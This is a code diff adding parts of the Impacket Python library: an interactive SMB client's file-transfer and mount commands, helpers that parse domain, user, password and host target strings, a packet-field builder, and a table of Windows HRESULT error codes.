+            LOG.error("No share selected")
+            return
+        p = ntpath.join(self.pwd, path)
+        pathname = p.replace('/','\\')
+        self.smb.deleteDirectory(self.share, pathname)
+
+    def do_put(self, pathname):
+        if self.tid is None:
+            LOG.error("No share selected")
+            return
+        src_path = pathname
+        dst_name = os.path.basename(src_path)
+
+        fh = open(pathname, 'rb')
+        f = ntpath.join(self.pwd,dst_name)
+        finalpath = f.replace('/','\\')
+        self.smb.putFile(self.share, finalpath, fh.read)
+        fh.close()
+
+    def complete_get(self, text, line, begidx, endidx, include = 1):
+        # include means
+        # 1 just files
+        # 2 just directories
+        p = line.replace('/','\\')
+        if p.find('\\') < 0:
+            items = []
+            if include == 1:
+                mask = 0
+            else:
+                mask = 0x010
+            for i in self.completion:
+                if i[1] == mask:
+                    items.append(i[0])
+            if text:
+                return  [
+                    item for item in items
+                    if item.upper().startswith(text.upper())
+                ]
+            else:
+                return items
+
+    def do_mget(self, mask):
+        if mask == '':
+            LOG.error("A mask must be provided")
+            return
+        if self.tid is None:
+            LOG.error("No share selected")
+            return
+        self.do_ls(mask,display=False)
+        if len(self.completion) == 0:
+            LOG.error("No files found matching the provided mask")
+            return 
+        for file_tuple in self.completion:
+            if file_tuple[1] == 0:
+                filename = file_tuple[0]
+                filename = filename.replace('/', '\\')
+                fh = open(ntpath.basename(filename), 'wb')
+                pathname = ntpath.join(self.pwd, filename)
+                try:
+                    LOG.info("Downloading %s" % (filename))
+                    self.smb.getFile(self.share, pathname, fh.write)
+                except:
+                    fh.close()
+                    os.remove(filename)
+                    raise
+                fh.close()
+
+    def do_get(self, filename):
+        if self.tid is None:
+            LOG.error("No share selected")
+            return
+        filename = filename.replace('/','\\')
+        fh = open(ntpath.basename(filename),'wb')
+        pathname = ntpath.join(self.pwd,filename)
+        try:
+            self.smb.getFile(self.share, pathname, fh.write)
+        except:
+            fh.close()
+            os.remove(filename)
+            raise
+        fh.close()
+
+    def do_cat(self, filename):
+        if self.tid is None:
+            LOG.error("No share selected")
+            return
+        filename = filename.replace('/','\\')
+        fh = BytesIO()
+        pathname = ntpath.join(self.pwd,filename)
+        try:
+            self.smb.getFile(self.share, pathname, fh.write)
+        except:
+            raise
+        output = fh.getvalue()
+        encoding = chardet.detect(output)["encoding"]
+        error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?"
+        if encoding:
+            try:
+                print(output.decode(encoding))
+            except:
+                print(error_msg)
+            finally:
+                fh.close()
+        else:
+            print(error_msg)
+            fh.close()
+
+    def do_close(self, line):
+        self.do_logoff(line)
+
+    def do_list_snapshots(self, line):
+        l = line.split(' ')
+        if len(l) > 0:
+            pathName= l[0].replace('/','\\')
+
+        # Relative or absolute path?
+        if pathName.startswith('\\') is not True:
+            pathName = ntpath.join(self.pwd, pathName)
+
+        snapshotList = self.smb.listSnapshots(self.tid, pathName)
+
+        if not snapshotList:
+            print("No snapshots found")
+            return
+
+        for timestamp in snapshotList:
+            print(timestamp)
+
+    def do_mount(self, line):
+        l = line.split(' ')
+        if len(l) > 1:
+            target  = l[0].replace('/','\\')
+            pathName= l[1].replace('/','\\')
+
+        # Relative or absolute path?
+        if pathName.startswith('\\') is not True:
+            pathName = ntpath.join(self.pwd, pathName)
+
+        self.smb.createMountPoint(self.tid, pathName, target)
+
+    def do_umount(self, mountpoint):
+        mountpoint = mountpoint.replace('/','\\')
+
+        # Relative or absolute path?
+        if mountpoint.startswith('\\') is not True:
+            mountpoint = ntpath.join(self.pwd, mountpoint)
+
+        mountPath = ntpath.join(self.pwd, mountpoint)
+
+        self.smb.removeMountPoint(self.tid, mountPath)
+
+    def do_EOF(self, line):
+        print('Bye!\n')
+        return True
diff --git a/impacket/examples/utils.py b/impacket/examples/utils.py
new file mode 100644
index 0000000..1be8c6d
--- /dev/null
+++ b/impacket/examples/utils.py
@@ -0,0 +1,60 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Utility and helper functions for the example scripts
+#
+# Author:
+#   Martin Gallo (@martingalloar)
+#
+import re
+
+
+# Regular expression to parse target information
+target_regex = re.compile(r"(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)")
+
+
+# Regular expression to parse credentials information
+credential_regex = re.compile(r"(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?")
+
+
+def parse_target(target):
+    """ Helper function to parse target information. The expected format is:
+
+    <DOMAIN></USERNAME><:PASSWORD>@HOSTNAME
+
+    :param target: target to parse
+    :type target: string
+
+    :return: tuple of domain, username, password and remote name or IP address
+    :rtype: (string, string, string, string)
+    """
+    domain, username, password, remote_name = target_regex.match(target).groups('')
+
+    # In case the password contains '@'
+    if '@' in remote_name:
+        password = password + '@' + remote_name.rpartition('@')[0]
+        remote_name = remote_name.rpartition('@')[2]
+
+    return domain, username, password, remote_name
+
+
+def parse_credentials(credentials):
+    """ Helper function to parse credentials information. The expected format is:
+
+    <DOMAIN></USERNAME><:PASSWORD>
+
+    :param credentials: credentials to parse
+    :type credentials: string
+
+    :return: tuple of domain, username and password
+    :rtype: (string, string, string)
+    """
+    domain, username, password = credential_regex.match(credentials).groups('')
+
+    return domain, username, password
diff --git a/impacket/helper.py b/impacket/helper.py
new file mode 100644
index 0000000..8694475
--- /dev/null
+++ b/impacket/helper.py
@@ -0,0 +1,152 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Helper used to build ProtocolPackets
+#
+# Author:
+#   Aureliano Calvo
+#
+
+import struct
+import functools
+from six import add_metaclass
+
+import impacket.ImpactPacket as ip
+
+
+def rebind(f):
+    functools.wraps(f)
+    def rebinder(*args, **kwargs):
+        return f(*args, **kwargs)
+        
+    return rebinder
+
+class Field(object):
+    def __init__(self, index):
+        self.index = index
+    
+    def __call__(self, k, d):
+        getter = rebind(self.getter)
+        getter_name = "get_" + k
+        getter.__name__ = getter_name
+        getter.__doc__ = "Get the %s field" % k
+        d[getter_name] = getter
+        
+        setter = rebind(self.setter)
+        setter_name = "set_" + k
+        setter.__name__ = setter_name
+        setter.__doc__ = "Set the %s field" % k
+        d["set_" + k] = setter
+        
+        d[k] = property(getter, setter, doc="%s property" % k)
+        
+class Bit(Field):
+    def __init__(self, index, bit_number):
+        Field.__init__(self, index)
+        self.mask = 2 ** bit_number
+        self.off_mask = (~self.mask) & 0xff
+        
+    def getter(self, o):
+        return (o.header.get_byte(self.index) & self.mask) != 0
+    
+    def setter(self, o, value=True):
+        b = o.header.get_byte(self.index)
+        if value:
+            b |= self.mask
+        else:
+            b &= self.off_mask
+        
+        o.header.set_byte(self.index, b) 
+
+class Byte(Field):
+    
+    def __init__(self, index):
+        Field.__init__(self, index)
+        
+    def getter(self, o):
+        return o.header.get_byte(self.index)
+    
+    def setter(self, o, value):
+        o.header.set_byte(self.index, value)
+        
+class Word(Field):
+    def __init__(self, index, order="!"):
+        Field.__init__(self, index)
+        self.order = order
+        
+    def getter(self, o):
+        return o.header.get_word(self.index, self.order)
+    
+    def setter(self, o, value):
+        o.header.set_word(self.index, value, self.order)
+
+class Long(Field):        
+    def __init__(self, index, order="!"):
+        Field.__init__(self, index)        
+        self.order = order
+        
+    def getter(self, o):
+        return o.header.get_long(self.index, self.order)
+    
+    def setter(self, o, value):
+        o.header.set_long(self.index, value, self.order)
+        
+class ThreeBytesBigEndian(Field):
+    def __init__(self, index):
+        Field.__init__(self, index)
+                
+    def getter(self, o):
+        b = ip.array_tobytes(o.header.get_bytes()[self.index:self.index+3])
+        #unpack requires a string argument of length 4 and b is 3 bytes long
+        (value,) = struct.unpack('!L', b'\x00'+b)
+        return value
+
+    def setter(self, o, value):
+        # clear the bits
+        mask = ((~0xFFFFFF00) & 0xFF)
+        masked = o.header.get_long(self.index, ">") & mask
+        # set the bits 
+        nb = masked | ((value & 0x00FFFFFF) << 8)
+        o.header.set_long(self.index, nb, ">")
+
+
+class ProtocolPacketMetaklass(type):
+    def __new__(cls, name, bases, d):
+        d["_fields"] = []
+        items = list(d.items())
+        if not object in bases:
+            bases += (object,)
+        for k,v in items:
+            if isinstance(v, Field):
+                d["_fields"].append(k) 
+                v(k, d)
+                
+        d["_fields"].sort()
+        
+        def _fields_repr(self):
+            return " ".join( "%s:%s" % (f, repr(getattr(self, f))) for f in self._fields )
+        def __repr__(self):
+            
+            return "<%(name)s %(fields)s \nchild:%(r_child)s>" % {
+                "name": name,
+                "fields": self._fields_repr(),
+                "r_child": repr(self.child()), 
+            }
+        
+        d["_fields_repr"] = _fields_repr
+        d["__repr__"] = __repr__
+        
+        return type.__new__(cls, name, bases, d)
+
+@add_metaclass(ProtocolPacketMetaklass)
+class ProtocolPacket(ip.ProtocolPacket):
+    def __init__(self, buff = None):
+        ip.ProtocolPacket.__init__(self, self.header_size, self.tail_size)
+        if buff:
+            self.load_packet(buff)
diff --git a/impacket/hresult_errors.py b/impacket/hresult_errors.py
new file mode 100644
index 0000000..a08d360
--- /dev/null
+++ b/impacket/hresult_errors.py
@@ -0,0 +1,5875 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   HRESULT Errors from [MS-ERREF]. Ideally all the files
+#   should grab the error codes from here (big ToDo)
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+ERROR_MESSAGES = {
+        0x00030200: ("STG_S_CONVERTED", "The underlying file was converted to compound file format."),
+        0x00030201: ("STG_S_BLOCK", "The storage operation should block until more data is available."),
+        0x00030202: ("STG_S_RETRYNOW", "The storage operation should retry immediately."),
+        0x00030203: ("STG_S_MONITORING", "The notified event sink will not influence the storage operation."),
+        0x00030204: ("STG_S_MULTIPLEOPENS", "Multiple opens prevent consolidated (commit succeeded)."),
+        0x00030205: ("STG_S_CONSOLIDATIONFAILED", "Consolidation of the storage file failed (commit succeeded)."),
+        0x00030206: ("STG_S_CANNOTCONSOLIDATE", "Consolidation of the storage file is inappropriate (commit succeeded)."),
+        0x00040000: ("OLE_S_USEREG", "Use the registry database to provide the requested information."),
+        0x00040001: ("OLE_S_STATIC", "Success, but static."),
+        0x00040002: ("OLE_S_MAC_CLIPFORMAT", "Macintosh clipboard format."),
+        0x00040100: ("DRAGDROP_S_DROP", "Successful drop took place."),
+        0x00040101: ("DRAGDROP_S_CANCEL", "Drag-drop operation canceled."),
+        0x00040102: ("DRAGDROP_S_USEDEFAULTCURSORS", "Use the default cursor."),
+        0x00040130: ("DATA_S_SAMEFORMATETC", "Data has same FORMATETC."),
+        0x00040140: ("VIEW_S_ALREADY_FROZEN", "View is already frozen."),
+        0x00040170: ("CACHE_S_FORMATETC_NOTSUPPORTED", "FORMATETC not supported."),
+        0x00040171: ("CACHE_S_SAMECACHE", "Same cache."),
+        0x00040172: ("CACHE_S_SOMECACHES_NOTUPDATED", "Some caches are not updated."),
+        0x00040180: ("OLEOBJ_S_INVALIDVERB", "Invalid verb for OLE object."),
+        0x00040181: ("OLEOBJ_S_CANNOT_DOVERB_NOW", "Verb number is valid but verb cannot be done now."),
+        0x00040182: ("OLEOBJ_S_INVALIDHWND", "Invalid window handle passed."),
+        0x000401A0: ("INPLACE_S_TRUNCATED", "Message is too long; some of it had to be truncated before displaying."),
+        0x000401C0: ("CONVERT10_S_NO_PRESENTATION", "Unable to convert OLESTREAM to IStorage."),
+        0x000401E2: ("MK_S_REDUCED_TO_SELF", "Moniker reduced to itself."),
+        0x000401E4: ("MK_S_ME", "Common prefix is this moniker."),
+        0x000401E5: ("MK_S_HIM", "Common prefix is input moniker."),
+        0x000401E6: ("MK_S_US", "Common prefix is both monikers."),
+        0x000401E7: ("MK_S_MONIKERALREADYREGISTERED", "Moniker is already registered in running object table."),
+        0x00040200: ("EVENT_S_SOME_SUBSCRIBERS_FAILED", "An event was able to invoke some, but not all, of the subscribers."),
+        0x00040202: ("EVENT_S_NOSUBSCRIBERS", "An event was delivered, but there were no subscribers."),
+        0x00041300: ("SCHED_S_TASK_READY", "The task is ready to run at its next scheduled time."),
+        0x00041301: ("SCHED_S_TASK_RUNNING", "The task is currently running."),
+        0x00041302: ("SCHED_S_TASK_DISABLED", "The task will not run at the scheduled times because it has been disabled."),
+        0x00041303: ("SCHED_S_TASK_HAS_NOT_RUN", "The task has not yet run."),
+        0x00041304: ("SCHED_S_TASK_NO_MORE_RUNS", "There are no more runs scheduled for this task."),
+        0x00041305: ("SCHED_S_TASK_NOT_SCHEDULED", "One or more of the properties that are needed to run this task on a schedule have not been set."),
+        0x00041306: ("SCHED_S_TASK_TERMINATED", "The last run of the task was terminated by the user."),
+        0x00041307: ("SCHED_S_TASK_NO_VALID_TRIGGERS", "Either the task has no triggers, or the existing triggers are disabled or not set."),
+        0x00041308: ("SCHED_S_EVENT_TRIGGER", "Event triggers do not have set run times."),
+        0x0004131B: ("SCHED_S_SOME_TRIGGERS_FAILED", "The task is registered, but not all specified triggers will start the task."),
+        0x0004131C: ("SCHED_S_BATCH_LOGON_PROBLEM", "The task is registered, but it may fail to start. Batch logon privilege needs to be enabled for the task principal."),
+        0x0004D000: ("XACT_S_ASYNC", "An asynchronous operation was specified. The operation has begun, but its outcome is not known yet."),
+        0x0004D002: ("XACT_S_READONLY", "The method call succeeded because the transaction was read-only."),
+        0x0004D003: ("XACT_S_SOMENORETAIN", "The transaction was successfully aborted. However, this is a coordinated transaction, and a number of enlisted resources were aborted outright because they could not support abort-retaining semantics."),
+        0x0004D004: ("XACT_S_OKINFORM", "No changes were made during this call, but the sink wants another chance to look if any other sinks make further changes."),
+        0x0004D005: ("XACT_S_MADECHANGESCONTENT", "The sink is content and wants the transaction to proceed. Changes were made to one or more resources during this call."),
+        0x0004D006: ("XACT_S_MADECHANGESINFORM", "The sink is for the moment and wants the transaction to proceed, but if other changes are made following this return by other event sinks, this sink wants another chance to look."),
+        0x0004D007: ("XACT_S_ALLNORETAIN", "The transaction was successfully aborted. However, the abort was nonretaining."),
+        0x0004D008: ("XACT_S_ABORTING", "An abort operation was already in progress."),
+        0x0004D009: ("XACT_S_SINGLEPHASE", "The resource manager has performed a single-phase commit of the transaction."),
+        0x0004D00A: ("XACT_S_LOCALLY_OK", "The local transaction has not aborted."),
+        0x0004D010: ("XACT_S_LASTRESOURCEMANAGER", "The resource manager has requested to be the coordinator (last resource manager) for the transaction."),
+        0x00080012: ("CO_S_NOTALLINTERFACES", "Not all the requested interfaces were available."),
+        0x00080013: ("CO_S_MACHINENAMENOTFOUND", "The specified machine name was not found in the cache."),
+        0x00090312: ("SEC_I_CONTINUE_NEEDED", "The function completed successfully, but it must be called again to complete the context."),
+        0x00090313: ("SEC_I_COMPLETE_NEEDED", "The function completed successfully, but CompleteToken must be called."),
+        0x00090314: ("SEC_I_COMPLETE_AND_CONTINUE", "The function completed successfully, but both CompleteToken and this function must be called to complete the context."),
+        0x00090315: ("SEC_I_LOCAL_LOGON", "The logon was completed, but no network authority was available. The logon was made using locally known information."),
+        0x00090317: ("SEC_I_CONTEXT_EXPIRED", "The context has expired and can no longer be used."),
+        0x00090320: ("SEC_I_INCOMPLETE_CREDENTIALS", "The credentials supplied were not complete and could not be verified. Additional information can be returned from the context."),
+        0x00090321: ("SEC_I_RENEGOTIATE", "The context data must be renegotiated with the peer."),
+        0x00090323: ("SEC_I_NO_LSA_CONTEXT", "There is no LSA mode context associated with this context."),
+        0x0009035C: ("SEC_I_SIGNATURE_NEEDED", "A signature operation must be performed before the user can authenticate."),
+        0x00091012: ("CRYPT_I_NEW_PROTECTION_REQUIRED", "The protected data needs to be reprotected."),
+        0x000D0000: ("NS_S_CALLPENDING", "The requested operation is pending completion."),
+        0x000D0001: ("NS_S_CALLABORTED", "The requested operation was aborted by the client."),
+        0x000D0002: ("NS_S_STREAM_TRUNCATED", "The stream was purposefully stopped before completion."),
+        0x000D0BC8: ("NS_S_REBUFFERING", "The requested operation has caused the source to rebuffer."),
+        0x000D0BC9: ("NS_S_DEGRADING_QUALITY", "The requested operation has caused the source to degrade codec quality."),
+        0x000D0BDB: ("NS_S_TRANSCRYPTOR_EOF", "The transcryptor object has reached end of file."),
+        0x000D0FE8: ("NS_S_WMP_UI_VERSIONMISMATCH", "An upgrade may be needed for the theme manager to correctly show this skin. Skin reports version: %.1f."),
+        0x000D0FE9: ("NS_S_WMP_EXCEPTION", "An error occurred in one of the UI components."),
+        0x000D1040: ("NS_S_WMP_LOADED_GIF_IMAGE", "Successfully loaded a GIF file."),
+        0x000D1041: ("NS_S_WMP_LOADED_PNG_IMAGE", "Successfully loaded a PNG file."),
+        0x000D1042: ("NS_S_WMP_LOADED_BMP_IMAGE", "Successfully loaded a BMP file."),
+        0x000D1043: ("NS_S_WMP_LOADED_JPG_IMAGE", "Successfully loaded a JPG file."),
+        0x000D104F: ("NS_S_WMG_FORCE_DROP_FRAME", "Drop this frame."),
+        0x000D105F: ("NS_S_WMR_ALREADYRENDERED", "The specified stream has already been rendered."),
+        0x000D1060: ("NS_S_WMR_PINTYPEPARTIALMATCH", "The specified type partially matches this pin type."),
+        0x000D1061: ("NS_S_WMR_PINTYPEFULLMATCH", "The specified type fully matches this pin type."),
+        0x000D1066: ("NS_S_WMG_ADVISE_DROP_FRAME", "The timestamp is late compared to the current render position. Advise dropping this frame."),
+        0x000D1067: ("NS_S_WMG_ADVISE_DROP_TO_KEYFRAME", "The timestamp is severely late compared to the current render position. Advise dropping everything up to the next key frame."),
+        0x000D10DB: ("NS_S_NEED_TO_BUY_BURN_RIGHTS", "No burn rights. You will be prompted to buy burn rights when you try to burn this file to an audio CD."),
+        0x000D10FE: ("NS_S_WMPCORE_PLAYLISTCLEARABORT", "Failed to clear playlist because it was aborted by user."),
+        0x000D10FF: ("NS_S_WMPCORE_PLAYLISTREMOVEITEMABORT", "Failed to remove item in the playlist since it was aborted by user."),
+        0x000D1102: ("NS_S_WMPCORE_PLAYLIST_CREATION_PENDING", "Playlist is being generated asynchronously."),
+        0x000D1103: ("NS_S_WMPCORE_MEDIA_VALIDATION_PENDING", "Validation of the media is pending."),
+        0x000D1104: ("NS_S_WMPCORE_PLAYLIST_REPEAT_SECONDARY_SEGMENTS_IGNORED", "Encountered more than one Repeat block during ASX processing."),
+        0x000D1105: ("NS_S_WMPCORE_COMMAND_NOT_AVAILABLE", "Current state of WMP disallows calling this method or property."),
+        0x000D1106: ("NS_S_WMPCORE_PLAYLIST_NAME_AUTO_GENERATED", "Name for the playlist has been auto generated."),
+        0x000D1107: ("NS_S_WMPCORE_PLAYLIST_IMPORT_MISSING_ITEMS", "The imported playlist does not contain all items from the original."),
+        0x000D1108: ("NS_S_WMPCORE_PLAYLIST_COLLAPSED_TO_SINGLE_MEDIA", "The M3U playlist has been ignored because it only contains one item."),
+        0x000D1109: ("NS_S_WMPCORE_MEDIA_CHILD_PLAYLIST_OPEN_PENDING", "The open for the child playlist associated with this media is pending."),
+        0x000D110A: ("NS_S_WMPCORE_MORE_NODES_AVAIABLE", "More nodes support the interface requested, but the array for returning them is full."),
+        0x000D1135: ("NS_S_WMPBR_SUCCESS", "Backup or Restore successful!."),
+        0x000D1136: ("NS_S_WMPBR_PARTIALSUCCESS", "Transfer complete with limitations."),
+        0x000D1144: ("NS_S_WMPEFFECT_TRANSPARENT", "Request to the effects control to change transparency status to transparent."),
+        0x000D1145: ("NS_S_WMPEFFECT_OPAQUE", "Request to the effects control to change transparency status to opaque."),
+        0x000D114E: ("NS_S_OPERATION_PENDING", "The requested application pane is performing an operation and will not be released."),
+        0x000D1359: ("NS_S_TRACK_BUY_REQUIRES_ALBUM_PURCHASE", "The file is only available for purchase when you buy the entire album."),
+        0x000D135E: ("NS_S_NAVIGATION_COMPLETE_WITH_ERRORS", "There were problems completing the requested navigation. There are identifiers missing in the catalog."),
+        0x000D1361: ("NS_S_TRACK_ALREADY_DOWNLOADED", "Track already downloaded."),
+        0x000D1519: ("NS_S_PUBLISHING_POINT_STARTED_WITH_FAILED_SINKS", "The publishing point successfully started, but one or more of the requested data writer plug-ins failed."),
+        0x000D2726: ("NS_S_DRM_LICENSE_ACQUIRED", "Status message: The license was acquired."),
+        0x000D2727: ("NS_S_DRM_INDIVIDUALIZED", "Status message: The security upgrade has been completed."),
+        0x000D2746: ("NS_S_DRM_MONITOR_CANCELLED", "Status message: License monitoring has been canceled."),
+        0x000D2747: ("NS_S_DRM_ACQUIRE_CANCELLED", "Status message: License acquisition has been canceled."),
+        0x000D276E: ("NS_S_DRM_BURNABLE_TRACK", "The track is burnable and had no playlist burn limit."),
+        0x000D276F: ("NS_S_DRM_BURNABLE_TRACK_WITH_PLAYLIST_RESTRICTION", "The track is burnable but has a playlist burn limit."),
+        0x000D27DE: ("NS_S_DRM_NEEDS_INDIVIDUALIZATION", "A security upgrade is required to perform the operation on this media file."),
+        0x000D2AF8: ("NS_S_REBOOT_RECOMMENDED", "Installation was successful; however, some file cleanup is not complete. For best results, restart your computer."),
+        0x000D2AF9: ("NS_S_REBOOT_REQUIRED", "Installation was successful; however, some file cleanup is not complete. To continue, you must restart your computer."),
+        0x000D2F09: ("NS_S_EOSRECEDING", "EOS hit during rewinding."),
+        0x000D2F0D: ("NS_S_CHANGENOTICE", "Internal."),
+        0x001F0001: ("ERROR_FLT_IO_COMPLETE", "The IO was completed by a filter."),
+        0x00262307: ("ERROR_GRAPHICS_MODE_NOT_PINNED", "No mode is pinned on the specified VidPN source or target."),
+        0x0026231E: ("ERROR_GRAPHICS_NO_PREFERRED_MODE", "Specified mode set does not specify preference for one of its modes."),
+        0x0026234B: ("ERROR_GRAPHICS_DATASET_IS_EMPTY", "Specified data set (for example, mode set, frequency range set, descriptor set, and topology) is empty."),
+        0x0026234C: ("ERROR_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET", "Specified data set (for example, mode set, frequency range set, descriptor set, and topology) does not contain any more elements."),
+        0x00262351: ("ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED", "Specified content transformation is not pinned on the specified VidPN present path."),
+        0x00300100: ("PLA_S_PROPERTY_IGNORED", "Property value will be ignored."),
+        0x00340001: ("ERROR_NDIS_INDICATION_REQUIRED", "The request will be completed later by a Network Driver Interface Specification (NDIS) status indication."),
+        0x0DEAD100: ("TRK_S_OUT_OF_SYNC", "The VolumeSequenceNumber of a MOVE_NOTIFICATION request is incorrect."),
+        0x0DEAD102: ("TRK_VOLUME_NOT_FOUND", "The VolumeID in a request was not found in the server's ServerVolumeTable."),
+        0x0DEAD103: ("TRK_VOLUME_NOT_OWNED", "A notification was sent to the LnkSvrMessage method, but the RequestMachine for the request was not the VolumeOwner for a VolumeID in the request."),
+        0x0DEAD107: ("TRK_S_NOTIFICATION_QUOTA_EXCEEDED", "The server received a MOVE_NOTIFICATION request, but the FileTable size limit has already been reached."),
+        0x400D004F: ("NS_I_TIGER_START", "The Title Server %1 is running."),
+        0x400D0051: ("NS_I_CUB_START", "Content Server %1 (%2) is starting."),
+        0x400D0052: ("NS_I_CUB_RUNNING", "Content Server %1 (%2) is running."),
+        0x400D0054: ("NS_I_DISK_START", "Disk %1 ( %2 ) on Content Server %3, is running."),
+        0x400D0056: ("NS_I_DISK_REBUILD_STARTED", "Started rebuilding disk %1 ( %2 ) on Content Server %3."),
+        0x400D0057: ("NS_I_DISK_REBUILD_FINISHED", "Finished rebuilding disk %1 ( %2 ) on Content Server %3."),
+        0x400D0058: ("NS_I_DISK_REBUILD_ABORTED", "Aborted rebuilding disk %1 ( %2 ) on Content Server %3."),
+        0x400D0059: ("NS_I_LIMIT_FUNNELS", "A NetShow administrator at network location %1 set the data stream limit to %2 streams."),
+        0x400D005A: ("NS_I_START_DISK", "A NetShow administrator at network location %1 started disk %2."),
+        0x400D005B: ("NS_I_STOP_DISK", "A NetShow administrator at network location %1 stopped disk %2."),
+        0x400D005C: ("NS_I_STOP_CUB", "A NetShow administrator at network location %1 stopped Content Server %2."),
+        0x400D005D: ("NS_I_KILL_USERSESSION", "A NetShow administrator at network location %1 aborted user session %2 from the system."),
+        0x400D005E: ("NS_I_KILL_CONNECTION", "A NetShow administrator at network location %1 aborted obsolete connection %2 from the system."),
+        0x400D005F: ("NS_I_REBUILD_DISK", "A NetShow administrator at network location %1 started rebuilding disk %2."),
+        0x400D0069: ("MCMADM_I_NO_EVENTS", "Event initialization failed, there will be no MCM events."),
+        0x400D006E: ("NS_I_LOGGING_FAILED", "The logging operation failed."),
+        0x400D0070: ("NS_I_LIMIT_BANDWIDTH", "A NetShow administrator at network location %1 set the maximum bandwidth limit to %2 bps."),
+        0x400D0191: ("NS_I_CUB_UNFAIL_LINK", "Content Server %1 (%2) has established its link to Content Server %3."),
+        0x400D0193: ("NS_I_RESTRIPE_START", "Restripe operation has started."),
+        0x400D0194: ("NS_I_RESTRIPE_DONE", "Restripe operation has completed."),
+        0x400D0196: ("NS_I_RESTRIPE_DISK_OUT", "Content disk %1 (%2) on Content Server %3 has been restriped out."),
+        0x400D0197: ("NS_I_RESTRIPE_CUB_OUT", "Content server %1 (%2) has been restriped out."),
+        0x400D0198: ("NS_I_DISK_STOP", "Disk %1 ( %2 ) on Content Server %3, has been offlined."),
+        0x400D14BE: ("NS_I_PLAYLIST_CHANGE_RECEDING", "The playlist change occurred while receding."),
+        0x400D2EFF: ("NS_I_RECONNECTED", "The client is reconnected."),
+        0x400D2F01: ("NS_I_NOLOG_STOP", "Forcing a switch to a pending header on start."),
+        0x400D2F03: ("NS_I_EXISTING_PACKETIZER", "There is already an existing packetizer plugin for the stream."),
+        0x400D2F04: ("NS_I_MANUAL_PROXY", "The proxy setting is manual."),
+        0x40262009: ("ERROR_GRAPHICS_DRIVER_MISMATCH", "The kernel driver detected a version mismatch between it and the user mode driver."),
+        0x4026242F: ("ERROR_GRAPHICS_UNKNOWN_CHILD_STATUS", "Child device presence was not reliably detected."),
+        0x40262437: ("ERROR_GRAPHICS_LEADLINK_START_DEFERRED", "Starting the lead-link adapter has been deferred temporarily."),
+        0x40262439: ("ERROR_GRAPHICS_POLLING_TOO_FREQUENTLY", "The display adapter is being polled for children too frequently at the same polling level."),
+        0x4026243A: ("ERROR_GRAPHICS_START_DEFERRED", "Starting the adapter has been deferred temporarily."),
+        0x8000000A: ("E_PENDING", "The data necessary to complete this operation is not yet available."),
+        0x80004001: ("E_NOTIMPL", "Not implemented."),
+        0x80004002: ("E_NOINTERFACE", "No such interface supported."),
+        0x80004003: ("E_POINTER", "Invalid pointer."),
+        0x80004004: ("E_ABORT", "Operation aborted."),
+        0x80004005: ("E_FAIL", "Unspecified error."),
+        0x80004006: ("CO_E_INIT_TLS", "Thread local storage failure."),
+        0x80004007: ("CO_E_INIT_SHARED_ALLOCATOR", "Get shared memory allocator failure."),
+        0x80004008: ("CO_E_INIT_MEMORY_ALLOCATOR", "Get memory allocator failure."),
+        0x80004009: ("CO_E_INIT_CLASS_CACHE", "Unable to initialize class cache."),
+        0x8000400A: ("CO_E_INIT_RPC_CHANNEL", "Unable to initialize remote procedure call (RPC) services."),
+        0x8000400B: ("CO_E_INIT_TLS_SET_CHANNEL_CONTROL", "Cannot set thread local storage channel control."),
+        0x8000400C: ("CO_E_INIT_TLS_CHANNEL_CONTROL", "Could not allocate thread local storage channel control."),
+        0x8000400D: ("CO_E_INIT_UNACCEPTED_USER_ALLOCATOR", "The user-supplied memory allocator is unacceptable."),
+        0x8000400E: ("CO_E_INIT_SCM_MUTEX_EXISTS", "The OLE service mutex already exists."),
+        0x8000400F: ("CO_E_INIT_SCM_FILE_MAPPING_EXISTS", "The OLE service file mapping already exists."),
+        0x80004010: ("CO_E_INIT_SCM_MAP_VIEW_OF_FILE", "Unable to map view of file for OLE service."),
+        0x80004011: ("CO_E_INIT_SCM_EXEC_FAILURE", "Failure attempting to launch OLE service."),
+        0x80004012: ("CO_E_INIT_ONLY_SINGLE_THREADED", "There was an attempt to call CoInitialize a second time while single-threaded."),
+        0x80004013: ("CO_E_CANT_REMOTE", "A Remote activation was necessary but was not allowed."),
+        0x80004014: ("CO_E_BAD_SERVER_NAME", "A Remote activation was necessary, but the server name provided was invalid."),
+        0x80004015: ("CO_E_WRONG_SERVER_IDENTITY", "The class is configured to run as a security ID different from the caller."),
+        0x80004016: ("CO_E_OLE1DDE_DISABLED", "Use of OLE1 services requiring Dynamic Data Exchange (DDE) Windows is disabled."),
+        0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be <domain name>\\<user name> or simply <user name>."),
+        0x80004018: ("CO_E_CREATEPROCESS_FAILURE", "The server process could not be started. The path name may be incorrect."),
+        0x80004019: ("CO_E_RUNAS_CREATEPROCESS_FAILURE", "The server process could not be started as the configured identity. The path name may be incorrect or unavailable."),
+        0x8000401A: ("CO_E_RUNAS_LOGON_FAILURE", "The server process could not be started because the configured identity is incorrect. Check the user name and password."),
+        0x8000401B: ("CO_E_LAUNCH_PERMSSION_DENIED", "The client is not allowed to launch this server."),
+        0x8000401C: ("CO_E_START_SERVICE_FAILURE", "The service providing this server could not be started."),
+        0x8000401D: ("CO_E_REMOTE_COMMUNICATION_FAILURE", "This computer was unable to communicate with the computer providing the server."),
+        0x8000401E: ("CO_E_SERVER_START_TIMEOUT", "The server did not respond after being launched."),
